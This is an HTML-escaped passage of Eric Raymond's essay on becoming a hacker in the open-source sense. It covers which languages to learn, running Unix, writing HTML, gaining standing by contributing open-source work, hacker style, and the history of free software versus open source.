programming in C the more productive you will be.&lt;br /&gt;C is very efficient, and very sparing of your machine's resources.   Unfortunately, C gets that efficiency by requiring you to do a lot of  low-level management of resources (like memory) by hand. All that  low-level code is complex and bug-prone, and will soak up huge amounts  of your time on debugging. With today's machines as powerful as they  are, this is usually a bad tradeoff â€” it's smarter to use a language  that uses the machine's time less efficiently, but your time much &lt;span class="emphasis"&gt;&lt;i&gt;more&lt;/i&gt;&lt;/span&gt; efficiently.  Thus, Python.&lt;br /&gt;Other languages of particular importance to hackers include &lt;a _fcksavedurl="http://www.perl.com/" class="ulink" href="http://www.perl.com/" target="_top"&gt;Perl&lt;/a&gt; and &lt;a _fcksavedurl="http://www.lisp.org/" class="ulink" href="http://www.lisp.org/" target="_top"&gt;LISP&lt;/a&gt;.   Perl is worth learning for practical reasons; it's very widely used  for active web pages and system administration, so that even if you  never write Perl you should learn to read it.  Many people use Perl in  the way I  suggest you should use Python, to avoid C programming on jobs  that don't require C's machine efficiency.  You will need to be able to  understand their code.&lt;br /&gt;LISP is worth learning for a different reason â€” the profound  enlightenment experience you will have when you finally get it.  That  experience will make you a better programmer for the rest of your days,  even if you never actually use LISP itself a lot.  (You can get some  beginning experience with LISP fairly easily by writing and modifying  editing modes for the Emacs text editor, or Script-Fu plugins for the  GIMP.)&lt;br /&gt;It's best, actually, to learn all five of Python, C/C++, Java, Perl,  and LISP.  Besides being the most important hacking languages, they  represent very different approaches to programming, and each will  educate you in valuable ways.&lt;br /&gt;But be aware that you won't reach the skill level of a hacker or even  merely a programmer simply by accumulating languages â€” you need to  learn how to think about programming problems in a general way,  independent of any one language.  To be a real hacker, you need to get  to the point where you can learn a new language in days by relating  what's in the manual to what you already know.  This means you should  learn several very different languages.&lt;br /&gt;I can't give complete instructions on how to learn to program here  â€” it's a complex skill.  But I can tell you that books and courses  won't do it â€” many, maybe &lt;span class="emphasis"&gt;&lt;i&gt;most&lt;/i&gt;&lt;/span&gt; of  the best hackers are self-taught.  You can learn language features â€”  bits of knowledge â€” from books, but the mind-set that makes that  knowledge into living skill can be learned only by practice and  apprenticeship. What will do it is (a) &lt;span class="emphasis"&gt;&lt;i&gt;reading code&lt;/i&gt;&lt;/span&gt; and (b) &lt;span class="emphasis"&gt;&lt;i&gt;writing code&lt;/i&gt;&lt;/span&gt;.&lt;br /&gt;Peter Norvig, who is one of Google's top hackers and the co-author of  the most widely used textbook on AI, has written an excellent essay  called &lt;a _fcksavedurl="http://norvig.com/21-days.html" class="ulink" href="http://norvig.com/21-days.html" target="_top"&gt;Teach Yourself Programming in Ten Years&lt;/a&gt;.  His "recipe for programming success" is worth careful attention.&lt;br /&gt;Learning to program is like learning to write good natural language.  The best way to do it is to read some stuff written by masters of the  form, write some things yourself, read a lot more, write a little more,  read a lot more, write some more ... and repeat until your writing  begins to develop the kind of strength and economy you see in your  models.&lt;br /&gt;Finding good code to read used to be hard, because there were few  large programs available in source for fledgeling hackers to read and  tinker with.  This has changed dramatically; open-source software,  programming tools, and operating systems (all built by hackers) are now  widely available. Which brings me neatly to our next topic...&lt;br /&gt;&lt;/div&gt;&lt;div class="sect2" title="2. Get one of the open-source Unixes and learn to use and run it."&gt; &lt;div class="titlepage"&gt; &lt;div&gt; &lt;div&gt; &lt;h3 class="title"&gt;2. Get one of the open-source Unixes and learn to use and run it.&lt;/h3&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;I'll assume you have a personal computer or can get access to one.   (Take a moment to appreciate how much that means.  The hacker culture  originally evolved back when computers were so expensive that  individuals could not own them.)  The single most important step any  newbie can take toward acquiring hacker skills is to get a copy of Linux  or one of the BSD-Unixes or OpenSolaris, install it on a personal  machine, and run it.&lt;br /&gt;Yes, there are other operating systems in the world besides Unix.   But they're distributed in binary â€” you can't read the code, and you  can't modify it.  Trying to learn to hack on a Microsoft Windows machine  or under any other closed-source system is like trying to learn to  dance while wearing a body cast.&lt;br /&gt;Under Mac OS X it's possible, but only part of the system is open  source â€” you're likely to hit a lot of walls, and you have to be  careful not to develop the bad habit of depending on Apple's proprietary  code.  If you concentrate on the Unix under the hood you can learn some  useful things.&lt;br /&gt;Unix is the operating system of the Internet.  While you can learn to  use the Internet without knowing Unix, you can't be an Internet hacker  without understanding Unix.  For this reason, the hacker culture today  is pretty strongly Unix-centered. (This wasn't always true, and some  old-time hackers still aren't happy about it, but the symbiosis between  Unix and the Internet has become strong enough that even Microsoft's  muscle doesn't seem able to seriously dent it.)&lt;br /&gt;So, bring up a Unix â€” I like Linux myself but there are other ways (and yes, you &lt;span class="emphasis"&gt;&lt;i&gt;can&lt;/i&gt;&lt;/span&gt;  run both Linux and Microsoft Windows on the same machine).  Learn it.   Run it.  Tinker with it. Talk to the Internet with it.  Read the code.   Modify the code. You'll get better programming tools (including C, LISP,  Python, and Perl) than any Microsoft operating system can dream of  hosting, you'll have fun, and you'll soak up more knowledge than you  realize you're learning until you look back on it as a master hacker.&lt;br /&gt;For more about learning Unix, see &lt;a _fcksavedurl="http://catb.org/%7Eesr/faqs/loginataka.html" class="ulink" href="http://catb.org/%7Eesr/faqs/loginataka.html" target="_top"&gt;The Loginataka&lt;/a&gt;. You might also want to have a look at &lt;a _fcksavedurl="http://catb.org/%7Eesr/writings/taoup/" class="ulink" href="http://catb.org/%7Eesr/writings/taoup/" target="_top"&gt;The Art Of Unix Programming&lt;/a&gt;.&lt;br /&gt;To get your hands on a Linux, see the &lt;a _fcksavedurl="http://www.linux.org/" class="ulink" href="http://www.linux.org/" target="_top"&gt;Linux Online!&lt;/a&gt; site; you can download from there or (better idea) find a local Linux user group to help you with installation.&lt;br /&gt;During the first ten years of this HOWTO's life, I reported that from  a new user's point of view, all Linux distributions are almost  equivalent.  But in 2006-2007, an actual best choice emerged: &lt;a _fcksavedurl="http://www.ubuntu.com/" class="ulink" href="http://www.ubuntu.com/" target="_top"&gt;Ubuntu&lt;/a&gt;. While other distros have their own areas of strength, Ubuntu is far and away the most accessible to Linux newbies.&lt;br /&gt;You can find BSD Unix help and resources at &lt;a _fcksavedurl="http://www.bsd.org/" class="ulink" href="http://www.bsd.org/" target="_top"&gt;www.bsd.org&lt;/a&gt;.&lt;br /&gt;A good way to dip your toes in the water is to boot up what Linux fans call a &lt;a _fcksavedurl="http://www.livecdnews.com/" class="ulink" href="http://www.livecdnews.com/" target="_top"&gt;live CD&lt;/a&gt;,  a distribution that runs entirely off a CD without having to modify  your hard disk.  This will be slow, because CDs are slow, but it's a way  to get a look at the possibilities without having to do anything  drastic.&lt;br /&gt;I have written a primer on the &lt;a _fcksavedurl="http://en.tldp.org/HOWTO/Unix-and-Internet-Fundamentals-HOWTO/index.html" class="ulink" href="http://en.tldp.org/HOWTO/Unix-and-Internet-Fundamentals-HOWTO/index.html" target="_top"&gt;basics of Unix and the Internet&lt;/a&gt;.&lt;br /&gt;I used to recommend against installing either Linux or BSD as a solo  project if you're a newbie.  Nowadays the installers have gotten good  enough that doing it entirely on your own is possible, even for a  newbie.  Nevertheless, I still recommend making contact with your local  Linux user's group and asking for help. It can't hurt, and may smooth  the process.&lt;br /&gt;&lt;/div&gt;&lt;div class="sect2" title="3. Learn how to use the World Wide Web and write HTML."&gt; &lt;div class="titlepage"&gt; &lt;div&gt; &lt;div&gt; &lt;h3 class="title"&gt;3. Learn how to use the World Wide Web and write HTML.&lt;/h3&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;Most of the things the hacker culture has built do their work out of  sight, helping run factories and offices and universities without any  obvious impact on how non-hackers live.  The Web is the one big  exception, the huge shiny hacker toy that even &lt;span class="emphasis"&gt;&lt;i&gt;politicians&lt;/i&gt;&lt;/span&gt;  admit has changed the world.  For this reason alone (and a lot of other  good ones as well) you need to learn how to work the Web.&lt;br /&gt;This doesn't just mean learning how to drive a browser (anyone can do  that), but learning how to write HTML, the Web's markup language. If  you don't know how to program, writing HTML will teach you some mental  habits that will help you learn. So build a home page. Try to stick to  XHTML, which is a cleaner language than classic HTML. (There are good  beginner tutorials on the Web; &lt;a _fcksavedurl="http://htmldog.com/" class="ulink" href="http://htmldog.com/" target="_top"&gt;here's one&lt;/a&gt;.)&lt;br /&gt;But just having a home page isn't anywhere near good enough to make  you a hacker.  The Web is full of home pages.  Most of them are  pointless, zero-content sludge â€” very snazzy-looking sludge, mind you,  but sludge all the same (for more on this see &lt;a _fcksavedurl="http://catb.org/%7Eesr/html-hell.html" class="ulink" href="http://catb.org/%7Eesr/html-hell.html" target="_top"&gt;The HTML Hell Page&lt;/a&gt;).&lt;br /&gt;To be worthwhile, your page must have &lt;span class="emphasis"&gt;&lt;i&gt;content&lt;/i&gt;&lt;/span&gt; â€” it must be interesting and/or useful to other hackers.  And that brings us to the next topic...&lt;br /&gt;&lt;/div&gt;&lt;div class="sect2" title="4. If you don't have functional English, learn it."&gt; &lt;div class="titlepage"&gt; &lt;div&gt; &lt;div&gt; &lt;h3 class="title"&gt;4. If you don't have functional English, learn it.&lt;/h3&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;As an American and native English-speaker myself, I have previously  been reluctant to suggest this, lest it be taken as a sort of cultural  imperialism.  But several native speakers of other languages have urged  me to point out that English is the working language of the hacker  culture and the Internet, and that you  will need to know it to function  in the hacker community.&lt;br /&gt;Back around 1991 I learned that many hackers who have English as a  second language use it in technical discussions even when they share a  birth tongue; it was reported to me at the time that English has a  richer technical vocabulary than any other language and is therefore  simply a better tool for the job.  For similar reasons, translations of  technical books written in English are often unsatisfactory (when they  get done at all).&lt;br /&gt;Linus Torvalds, a Finn, comments his code in English (it apparently  never occurred to him to do otherwise).  His fluency in English has been  an important factor in his ability to recruit a worldwide community of  developers for Linux.  It's an example worth following.&lt;br /&gt;Being a native English-speaker does not guarantee that you have  language skills good enough to function as a hacker.  If your writing is  semi-literate, ungrammatical, and riddled with misspellings, many  hackers (including myself) will tend to ignore you.  While sloppy  writing does not invariably mean sloppy thinking, we've generally found  the correlation to be strong â€” and we have no use for sloppy thinkers.   If you can't yet write competently, learn to.&lt;br /&gt;&lt;div class="mediaobject"&gt;&lt;img _fcksavedurl="http://www.catb.org/%7Eesr/faqs/glider.png" alt="" src="http://www.catb.org/%7Eesr/faqs/glider.png" /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="sect1" title="Status in the Hacker Culture"&gt; &lt;div class="titlepage"&gt; &lt;div&gt; &lt;div&gt; &lt;h2 class="title" style="clear: both;"&gt;Status in the Hacker Culture&lt;/h2&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="toc"&gt;&lt;br /&gt;&lt;dl&gt;&lt;dt&gt;&lt;span class="sect2"&gt;&lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#respect1" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#respect1"&gt;1. Write open-source software&lt;/a&gt;&lt;/span&gt;&lt;/dt&gt;&lt;dt&gt;&lt;span class="sect2"&gt;&lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#respect2" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#respect2"&gt;2. Help test and debug open-source software&lt;/a&gt;&lt;/span&gt;&lt;/dt&gt;&lt;dt&gt;&lt;span class="sect2"&gt;&lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#respect3" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#respect3"&gt;3. Publish useful information&lt;/a&gt;&lt;/span&gt;&lt;/dt&gt;&lt;dt&gt;&lt;span class="sect2"&gt;&lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#respect4" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#respect4"&gt;4. Help keep the infrastructure working&lt;/a&gt;&lt;/span&gt;&lt;/dt&gt;&lt;dt&gt;&lt;span class="sect2"&gt;&lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#respect5" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#respect5"&gt;5. Serve the hacker culture itself&lt;/a&gt;&lt;/span&gt;&lt;/dt&gt;&lt;/dl&gt;&lt;/div&gt;Like most cultures without a money economy, hackerdom runs on  reputation.  You're trying to solve interesting problems, but how  interesting they are, and whether your solutions are really good, is  something that only your technical peers or superiors are normally  equipped to judge.&lt;br /&gt;Accordingly, when you play the hacker game, you learn to keep score  primarily by what other hackers think of your skill (this is why you  aren't really a hacker until other hackers consistently call you one).   This fact is obscured by the image of hacking as solitary work; also by a  hacker-cultural taboo (gradually decaying since the late 1990s but  still potent) against admitting that ego or external validation are  involved in one's motivation at all.&lt;br /&gt;Specifically, hackerdom is what anthropologists call a &lt;span class="emphasis"&gt;&lt;i&gt;gift culture&lt;/i&gt;&lt;/span&gt;.   You gain status and reputation in it not by dominating other people,  nor by being beautiful, nor by having things other people want, but  rather by giving things away.  Specifically, by giving away your time,  your creativity, and the results of your skill.&lt;br /&gt;There are basically five kinds of things you can do to be respected by hackers:&lt;br /&gt;&lt;div class="sect2" title="1. Write open-source software"&gt; &lt;div class="titlepage"&gt; &lt;div&gt; &lt;div&gt; &lt;h3 class="title"&gt;1. Write open-source software&lt;/h3&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;The first (the most central and most traditional) is to write  programs that other hackers think are fun or useful, and give the  program sources away to the whole hacker culture to use.&lt;br /&gt;(We used to call these works â€œfree softwareâ€, but this confused  too many people who weren't sure exactly what â€œfreeâ€ was supposed to  mean.  Most of us now prefer the term â€œ&lt;a _fcksavedurl="http://www.opensource.org/" class="ulink" href="http://www.opensource.org/" target="_top"&gt;open-source&lt;/a&gt;â€ software).&lt;br /&gt;Hackerdom's most revered demigods are people who have written large,  capable programs that met a widespread need and given them away, so that  now everyone uses them.&lt;br /&gt;But there's a bit of a fine historical point here.  While hackers  have always looked up to the open-source developers among them as our  community's hardest core, before the mid-1990s most hackers most of the  time worked on closed source. This was still true when I wrote the first  version of this HOWTO in 1996; it took the mainstreaming of open-source  software after 1997 to change things. Today, "the hacker community" and  "open-source developers" are two descriptions for what is essentially  the same culture and population â€” but it is worth remembering that  this was not always so. (For more on this, see &lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#history" class="xref" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#history" title="Historical Note: Hacking, Open Source, and Free Software"&gt;the section called â€œHistorical Note: Hacking, Open Source, and Free Softwareâ€&lt;/a&gt;.)&lt;br /&gt;&lt;/div&gt;&lt;div class="sect2" title="2. Help test and debug open-source software"&gt; &lt;div class="titlepage"&gt; &lt;div&gt; &lt;div&gt; &lt;h3 class="title"&gt;2. Help test and debug open-source software&lt;/h3&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;They also serve who stand and debug open-source software.  In this  imperfect world, we will inevitably spend most of our software  development time in the debugging phase. That's why any open-source  author who's thinking will tell you that good beta-testers (who know how  to describe symptoms clearly, localize problems well, can tolerate bugs  in a quickie release, and are willing to apply a few simple diagnostic  routines) are worth their weight in rubies.  Even one of these can make  the difference between a debugging phase that's a protracted, exhausting  nightmare and one that's merely a salutary nuisance.&lt;br /&gt;If you're a newbie, try to find a program under development that  you're interested in and be a good beta-tester.  There's a natural  progression from helping test programs to helping debug them to helping  modify them.  You'll learn a lot this way, and generate good karma with  people who will help you later on.&lt;br /&gt;&lt;/div&gt;&lt;div class="sect2" title="3. Publish useful information"&gt; &lt;div class="titlepage"&gt; &lt;div&gt; &lt;div&gt; &lt;h3 class="title"&gt;3. Publish useful information&lt;/h3&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;Another good thing is to collect and filter useful and interesting  information into web pages or documents like  Frequently Asked Questions  (FAQ) lists, and make those generally available.&lt;br /&gt;Maintainers of major technical FAQs get almost as much respect as open-source authors.&lt;br /&gt;&lt;/div&gt;&lt;div class="sect2" title="4. Help keep the infrastructure working"&gt; &lt;div class="titlepage"&gt; &lt;div&gt; &lt;div&gt; &lt;h3 class="title"&gt;4. Help keep the infrastructure working&lt;/h3&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;The hacker culture (and the engineering development of the Internet,  for that matter) is run by volunteers.  There's a lot of necessary but  unglamorous work that needs done to keep it going â€” administering  mailing lists, moderating newsgroups, maintaining large software archive  sites, developing RFCs and other technical standards.&lt;br /&gt;People who do this sort of thing well get a lot of respect, because  everybody knows these jobs are huge time sinks and not as much fun as  playing with code.  Doing them shows dedication.&lt;br /&gt;&lt;/div&gt;&lt;div class="sect2" title="5. Serve the hacker culture itself"&gt; &lt;div class="titlepage"&gt; &lt;div&gt; &lt;div&gt; &lt;h3 class="title"&gt;5. Serve the hacker culture itself&lt;/h3&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;Finally, you can serve and propagate the culture itself (by, for  example, writing an accurate primer on how to become a hacker :-)). This  is not something you'll be positioned to do until you've been around  for while and become well-known for one of the first four things.&lt;br /&gt;The hacker culture doesn't have leaders, exactly, but it does have  culture heroes and tribal elders and historians and spokespeople. When  you've been in the trenches long enough, you may grow into one of these.   Beware: hackers distrust blatant ego in their tribal elders, so  visibly reaching for this kind of fame is dangerous.  Rather than  striving for it, you have to sort of position yourself so it drops in  your lap, and then be modest and gracious about your status.&lt;br /&gt;&lt;div class="mediaobject"&gt;&lt;img _fcksavedurl="http://www.catb.org/%7Eesr/faqs/glider.png" alt="" src="http://www.catb.org/%7Eesr/faqs/glider.png" /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="sect1" title="The Hacker/Nerd Connection"&gt; &lt;div class="titlepage"&gt; &lt;div&gt; &lt;div&gt; &lt;h2 class="title" style="clear: both;"&gt;The Hacker/Nerd Connection&lt;/h2&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;Contrary to popular myth, you don't have to be a nerd to be a hacker.   It does help, however, and many hackers are in fact nerds. Being  something of a social outcast helps you stay concentrated on the really  important things, like thinking and hacking.&lt;br /&gt;For this reason, many hackers have adopted the label â€˜geekâ€™ as a  badge of pride â€” it's a way of declaring their independence from  normal social expectations (as well as a fondness for other things like  science fiction and strategy games that often go with being a hacker).  The term 'nerd' used to be used this way back in the 1990s, back when  'nerd' was a mild pejorative and 'geek' a rather harsher one; sometime  after 2000 they switched places, at least in U.S. popular culture, and  there is now even a significant geek-pride culture among people who  aren't techies.&lt;br /&gt;If you can manage to concentrate enough on hacking to be good at it  and still have a life, that's fine.  This is a lot easier today than it  was when I was a newbie in the 1970s; mainstream culture is much  friendlier to techno-nerds now.  There are even growing numbers of  people who realize that hackers are often high-quality lover and spouse  material.&lt;br /&gt;If you're attracted to hacking because you don't have a life, that's  OK too â€” at least you won't have trouble concentrating. Maybe you'll  get a life later on.&lt;br /&gt;&lt;div class="mediaobject"&gt;&lt;img _fcksavedurl="http://www.catb.org/%7Eesr/faqs/glider.png" alt="" src="http://www.catb.org/%7Eesr/faqs/glider.png" /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="sect1" title="Points For Style"&gt; &lt;div class="titlepage"&gt; &lt;div&gt; &lt;div&gt; &lt;h2 class="title" style="clear: both;"&gt;Points For Style&lt;/h2&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;Again, to be a hacker, you have to enter the hacker mindset.  There  are some things you can do when you're not at a computer that seem to  help.  They're not substitutes for hacking (nothing is) but many hackers  do them, and feel that they connect in some basic way with the essence  of hacking.&lt;br /&gt;&lt;div class="itemizedlist"&gt; &lt;ul class="itemizedlist" type="disc"&gt;&lt;li class="listitem"&gt;     Learn to write your native language well.  Though      it's a  common stereotype that programmers can't write, a      surprising number  of hackers (including all the most accomplished       ones I know of)  are very able writers.&lt;br /&gt;&lt;/li&gt;&lt;li class="listitem"&gt;     Read science fiction.  Go to science fiction      conventions (a good way to meet hackers and proto-hackers).      &lt;br /&gt;&lt;/li&gt;&lt;li class="listitem"&gt;     Train in a martial-arts form.  The kind of mental      discipline  required for martial arts seems to be similar in      important ways to  what hackers do.  The most popular forms among      hackers are  definitely Asian empty-hand arts such as Tae Kwon Do,      various forms  of Karate, Kung Fu, Aikido, or Ju Jitsu.  Western      fencing and  Asian sword arts also have visible followings. In      places where it's  legal, pistol shooting has been rising in      popularity since the  late 1990s. The most hackerly martial arts      are those which  emphasize mental discipline, relaxed awareness,      and control, rather  than raw strength, athleticism, or physical      toughness.&lt;br /&gt;&lt;/li&gt;&lt;li class="listitem"&gt;     Study an actual meditation discipline.  The perennial       favorite among hackers is Zen (importantly, it is possible to       benefit from Zen without acquiring a religion or discarding one      you  already have).  Other styles may work as well, but be careful      to  choose one that doesn't require you to believe crazy      things.&lt;br /&gt;&lt;/li&gt;&lt;li class="listitem"&gt;      Develop an analytical ear for music.  Learn to      appreciate  peculiar kinds of music.  Learn to play some musical      instrument  well, or how to sing.&lt;br /&gt;&lt;/li&gt;&lt;li class="listitem"&gt;      Develop your appreciation of puns and      wordplay.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;The more of these things you already do, the more likely it is that  you are natural hacker material.   Why these things in particular is not  completely clear, but they're connected with a mix of left- and  right-brain skills that seems to be important; hackers need to be able  to both reason logically and step outside the apparent logic of a  problem at a moment's notice.&lt;br /&gt;Work as intensely as you play and play as intensely as you work. For  true hackers, the boundaries between "play", "work", "science" and "art"  all tend to disappear, or to merge into a high-level creative  playfulness.  Also, don't be content with a narrow range of skills.  Though most hackers self-describe as programmers, they are very likely  to be more than competent in several related skills â€” system  administration, web design, and PC hardware troubleshooting are common  ones.  A hacker who's a system administrator, on the other hand, is  likely to be quite skilled at script programming and web design. Hackers  don't do things by halves; if they invest in a skill at all, they tend  to get very good at it.&lt;br /&gt;Finally, a few things &lt;span class="emphasis"&gt;&lt;i&gt;not&lt;/i&gt;&lt;/span&gt; to do.&lt;br /&gt;&lt;div class="itemizedlist"&gt; &lt;ul class="itemizedlist" type="disc"&gt;&lt;li class="listitem"&gt;      Don't use a silly, grandiose user ID or screen name.      &lt;br /&gt;&lt;/li&gt;&lt;li class="listitem"&gt;      Don't get in flame wars on Usenet (or anywhere      else).&lt;br /&gt;&lt;/li&gt;&lt;li class="listitem"&gt;      Don't call yourself a â€˜cyberpunkâ€™, and don't waste      your time on anybody who does.&lt;br /&gt;&lt;/li&gt;&lt;li class="listitem"&gt;      Don't post or email writing that's full of spelling      errors and bad grammar.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;The only reputation you'll make doing any of these things is as a  twit.  Hackers have long memories â€” it could take you years to live  your early blunders down enough to be accepted.&lt;br /&gt;The problem with screen names or handles deserves some amplification.   Concealing your identity behind a handle is a juvenile and silly  behavior characteristic of crackers, warez d00dz, and other lower life  forms.  Hackers don't do this; they're proud of what they do and want it  associated with their &lt;span class="emphasis"&gt;&lt;i&gt;real&lt;/i&gt;&lt;/span&gt; names. So if you have a handle, drop it.  In the hacker culture it will only mark you as a loser.&lt;br /&gt;&lt;div class="mediaobject"&gt;&lt;img _fcksavedurl="http://www.catb.org/%7Eesr/faqs/glider.png" alt="" src="http://www.catb.org/%7Eesr/faqs/glider.png" /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="sect1" title="Historical Note: Hacking, Open Source, and Free Software"&gt; &lt;div class="titlepage"&gt; &lt;div&gt; &lt;div&gt; &lt;h2 class="title" style="clear: both;"&gt;Historical Note: Hacking, Open Source, and Free Software&lt;/h2&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;When I originally wrote this how-to in late 1996, some of the  conditions around it were very different from the way they look today. A  few words about these changes may help clarify matters for people who  are confused about the relationship of open source, free software, and  Linux to the hacker community.  If you are not curious about this, you  can skip straight to the FAQ and bibliography from here.&lt;br /&gt;The hacker ethos and community as I have described it here long  predates the emergence of Linux after 1990; I first became involved with  it around 1976, and, its roots are readily traceable back to the early  1960s.  But before Linux, most hacking was done on either proprietary  operating systems or a handful of quasi-experimental homegrown systems  like MIT's ITS that were never deployed outside of their original  academic niches.  While there had been some earlier (pre-Linux) attempts  to change this situation, their impact was at best very marginal and  confined to communities of dedicated true believers which were tiny  minorities even within the hacker community, let alone with respect to  the larger world of software in general.&lt;br /&gt;What is now called "open source" goes back as far as the hacker  community does, but until 1985 it was an unnamed folk practice rather  than a conscious movement with theories and manifestos attached to it.  This prehistory ended when, in 1985, arch-hacker Richard Stallman  ("RMS") tried to give it a name â€” "free software". But his act of  naming was also an act of claiming; he attached ideological baggage to  the "free software" label which much of the existing hacker community  never accepted.  As a result, the "free software" label was loudly  rejected by a substantial minority of the hacker community (especially  among those associated with BSD Unix), and used with serious but silent  reservations by a majority of the remainder (including myself).&lt;br /&gt;Despite these reservations, RMS's claim to define and lead the hacker  community under the "free software" banner broadly held until the  mid-1990s. It was seriously challenged only by the rise of Linux. Linux  gave open-source development a natural home.  Many projects issued under  terms we would now call open-source migrated from proprietary Unixes to  Linux.  The community around Linux grew explosively, becoming far  larger and more heterogenous than the pre-Linux hacker culture. RMS  determinedly attempted to co-opt all this activity into his "free  software" movement, but was thwarted by both the exploding diversity of  the Linux community and the public skepticism of its founder, Linus  Torvalds.  Torvalds continued to use the term "free software" for lack  of any alternative, but publicly rejected RMS's ideological baggage.  Many younger hackers followed suit.&lt;br /&gt;In 1996, when I first published this Hacker HOWTO, the hacker  community was rapidly reorganizing around Linux and a handful of other  open-source operating systems (notably those descended from BSD Unix).  Community memory of the fact that most of us had spent decades  developing closed-source software on closed-source operating systems had  not yet begun to fade, but that fact was already beginning to seem like  part of a dead past; hackers were, increasingly, defining themselves as  hackers by their attachments to open-source projects such as Linux or  Apache.&lt;br /&gt;The term "open source", however, had not yet emerged; it would not do  so until early 1998.  When it did, most of hacker community adopted it  within the following six months; the exceptions were a minority  ideologically attached to the term "free software". Since 1998, and  especially after about 2003, the identification of 'hacking' with  'open-source (and free software) development' has become extremely  close.  Today there is little point in attempting to distinguish between  these categories, and it seems unlikely that will change in the future.&lt;br /&gt;It is worth remembering, however, that this was not always so.&lt;br /&gt;&lt;div class="mediaobject"&gt;&lt;img _fcksavedurl="http://www.catb.org/%7Eesr/faqs/glider.png" alt="" src="http://www.catb.org/%7Eesr/faqs/glider.png" /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="sect1" title="Other Resources"&gt; &lt;div class="titlepage"&gt; &lt;div&gt; &lt;div&gt; &lt;h2 class="title" style="clear: both;"&gt;Other Resources&lt;/h2&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;Paul Graham has written an essay called &lt;a _fcksavedurl="http://www.paulgraham.com/gh.html" class="ulink" href="http://www.paulgraham.com/gh.html" target="_top"&gt;Great Hackers&lt;/a&gt;, and another on &lt;a _fcksavedurl="http://www.paulgraham.com/college.html" class="ulink" href="http://www.paulgraham.com/college.html" target="_top"&gt;Undergraduation&lt;/a&gt;, in which he speaks much wisdom.&lt;br /&gt;There is a document called &lt;a _fcksavedurl="http://samizdat.mines.edu/howto/HowToBeAProgrammer.html" class="ulink" href="http://samizdat.mines.edu/howto/HowToBeAProgrammer.html" target="_top"&gt;How To Be A Programmer&lt;/a&gt;  that is an excellent complement to this one.  It has valuable advice  not just about coding and skillsets, but about how to function on a  programming team.&lt;br /&gt;I have also written &lt;a _fcksavedurl="http://catb.org/%7Eesr/writings/hacker-history/hacker-history.html" class="ulink" href="http://catb.org/%7Eesr/writings/hacker-history/hacker-history.html" target="_top"&gt;&lt;i class="citetitle"&gt;A Brief History Of Hackerdom&lt;/i&gt;&lt;/a&gt;.&lt;br /&gt;I have written a paper, &lt;a _fcksavedurl="http://catb.org/%7Eesr/writings/cathedral-bazaar/index.html" class="ulink" href="http://catb.org/%7Eesr/writings/cathedral-bazaar/index.html" target="_top"&gt;&lt;i class="citetitle"&gt;The Cathedral and the Bazaar&lt;/i&gt;&lt;/a&gt;,  which explains a lot about how the Linux and open-source cultures work.   I have addressed this topic even more directly in its sequel &lt;a _fcksavedurl="http://catb.org/%7Eesr/writings/homesteading/" class="ulink" href="http://catb.org/%7Eesr/writings/homesteading/" target="_top"&gt;&lt;i class="citetitle"&gt;Homesteading the Noosphere&lt;/i&gt;&lt;/a&gt;.&lt;br /&gt;Rick Moen has written an excellent document on &lt;a _fcksavedurl="http://linuxmafia.com/faq/Linux_PR/newlug.html" class="ulink" href="http://linuxmafia.com/faq/Linux_PR/newlug.html" target="_top"&gt;how to run a Linux user group&lt;/a&gt;.&lt;br /&gt;Rick Moen and I have collaborated on another document on &lt;a _fcksavedurl="http://catb.org/%7Eesr/faqs/smart-questions.html" class="ulink" href="http://catb.org/%7Eesr/faqs/smart-questions.html" target="_top"&gt;How To Ask Smart Questions&lt;/a&gt;.  This will help you seek assistance in a way that makes it more likely that you will actually get it.&lt;br /&gt;If you need instruction in the basics of how personal computers, Unix, and the Internet work, see &lt;a _fcksavedurl="http://en.tldp.org/HOWTO//Unix-and-Internet-Fundamentals-HOWTO/" class="ulink" href="http://en.tldp.org/HOWTO//Unix-and-Internet-Fundamentals-HOWTO/" target="_top"&gt; The Unix and Internet Fundamentals HOWTO&lt;/a&gt;. &lt;br /&gt;When you release software or write patches for software, try to follow the guidelines in the &lt;a _fcksavedurl="http://en.tldp.org/HOWTO/Software-Release-Practice-HOWTO/index.html" class="ulink" href="http://en.tldp.org/HOWTO/Software-Release-Practice-HOWTO/index.html" target="_top"&gt; Software Release Practice HOWTO&lt;/a&gt;.&lt;br /&gt;If you enjoyed the Zen poem, you might also like &lt;a _fcksavedurl="http://catb.org/%7Eesr//writings/unix-koans" class="ulink" href="http://catb.org/%7Eesr//writings/unix-koans" target="_top"&gt;Rootless  Root: The Unix Koans of Master Foo&lt;/a&gt;.&lt;br /&gt;&lt;div 